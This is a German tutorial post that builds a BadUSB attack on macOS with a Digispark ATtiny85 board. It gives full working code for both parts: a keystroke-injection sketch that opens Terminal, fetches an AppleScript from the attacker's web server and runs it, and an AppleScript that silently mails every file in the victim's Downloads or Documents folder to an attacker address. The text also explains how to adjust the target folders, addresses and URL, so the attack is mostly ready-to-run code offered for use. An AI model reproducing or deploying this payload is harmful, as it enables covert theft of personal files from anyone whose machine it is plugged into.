In den vorangehenden Beiträgen wurde gezeigt, wie man mit Hilfe des Attiny85 Mikrocontrollers „Digispark“ Penetrationstests unter Windows und Linux durchführen kann. Auch unter macOS Sierra lässt sich die Platine einsetzen. Folgendes Szenario wäre denkbar:
Bei Einstecken des Digispark in eine freie USB-Schnittstelle in einem Mac werden alle Dokumente eines bestimmten Ordners an den Angreifer per E-Mail übermittelt.
Wenn man AppleScript als Hilfsmittel verwendet, lässt sich unser Szenario relativ leicht umsetzen. Es setzt voraus, dass der Mac über eine Verbindung ins Internet verfügt. Zunächst wird das Skript von Webserver des Angreifers heruntergeladen, dann ausgeführt und die gefundenen Dokumente schließlich per E-Mail übermittelt.
Die Datei sendmail.scpt auf dem Webserver hat folgenden Inhalt:
[code]
— set myDocumentFolder to path to documents folder as string — Documents folder
set myDocumentFolder to path to downloads folder as string — Downloads folder
— Find all files in the folder
tell application “Finder”
set folderPath to folder myDocumentFolder
tell application “Finder” to set attchList to (every item of folderPath) as alias list
end tell
— Prepare email header and recipients
set msgText to “Files from Victim”
set theSender to “victim@gmail.com”
set recipName to “Attacker”
set recipAddress to “attacker@gmail.com”
— send email
tell application “Mail”
set newmessage to make new outgoing message with properties {subject:”Important File Attachment”, content:msgText & return & return, visible:false}
tell newmessage
set visible to false
set sender to theSender
make new to recipient with properties {name:recipName, address:recipAddress}
repeat with attach in attchList
make new attachment with properties {file name:(contents of attach)}
end repeat
set visible to true
end tell
send newmessage
end tell
[/code]
In den Zeilen 0 bzw. 1 werden jeweils die Ordner ausgewählt, die an den Angreifer übermittelt werden sollen. In unserem Beispiel wählen wird das Verzeichnis „Downloads“ aus, das für alle Mac-Nutzer standardmäßig angelegt ist. Wer dafür lieber alle Dateien im Dokumente-Ordner übertragen möchte, der sollte dafür Zeile 0 auskommentieren. Um andere Verzeichnisse bzw. Dateien zu übertragen, sollte die Variable „myDocumentFolder“ entsprechend angepasst werden.
In Zeile 6 wird eine Liste aller Dateien im gewünschten Verzeichnis erstellt.
Die Zeilen 9 bis 13 müssen Absender und Empfänger den eigenen Verhältnisse angepasst werden.
In der letzten „tell“-Anweisung (Zeilen 16 bis 26) erfolgt die Übertragung der Dateien per Mail-Applikation des Mac.
Das Skript für die Digispark-Platine könnte wie folgt aussehen:
[code]#include “DigiKeyboard.h”
void setup()
{
pinMode(1, OUTPUT); //LED on Model A
}
void loop()
{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); //open spotlight
DigiKeyboard.delay(1000);
DigiKeyboard.println(“terminal”);
DigiKeyboard.delay(1000);
// DigiKeyboard.println(“open -a safari http://192.168.0.180/sendmail.scpt”);
DigiKeyboard.println(“open /a safari http>&&192.168.0.180&sendmail.scpt”);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); // close Safari
DigiKeyboard.delay(1000);
// DigiKeyboard.println(“osascript Downloads/sendmail.scpt”);
DigiKeyboard.println(“osascript Downloads&sendmail.scpt”);
DigiKeyboard.delay(9000);
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); // close Terminal
DigiKeyboard.delay(1000);
digitalWrite(1, HIGH); //turn on led when program finishes
DigiKeyboard.delay(2000);
digitalWrite(1, LOW);
DigiKeyboard.delay(15000);
}
[/code]
Das Skript für den Digispark ist ähnlich einfach aufgebaut. Die auskommentierten Zeilen 17 und 22 stellen jeweils die „println-Anweisungen“ für die US-Tastatur dar. Die jeweils darauffolgenden Zeilen wurden für eine deutsche Tastatur angepasst. Den Trick hatte ich ja bereits in diesem Beitrag erläutert und angewendet.
In Zeile 18 wird mit Hilfe von Safari das AppleScript vom Webserver heruntergeladen. Die URL muss natürlich den eigenen Verhältnisse angepasst werden.
Die Zeile 23 ruft das Skript aus dem Download-Ordner des Nutzers auf und führt es aus.
Das folgende Video zeigt den Ablauf: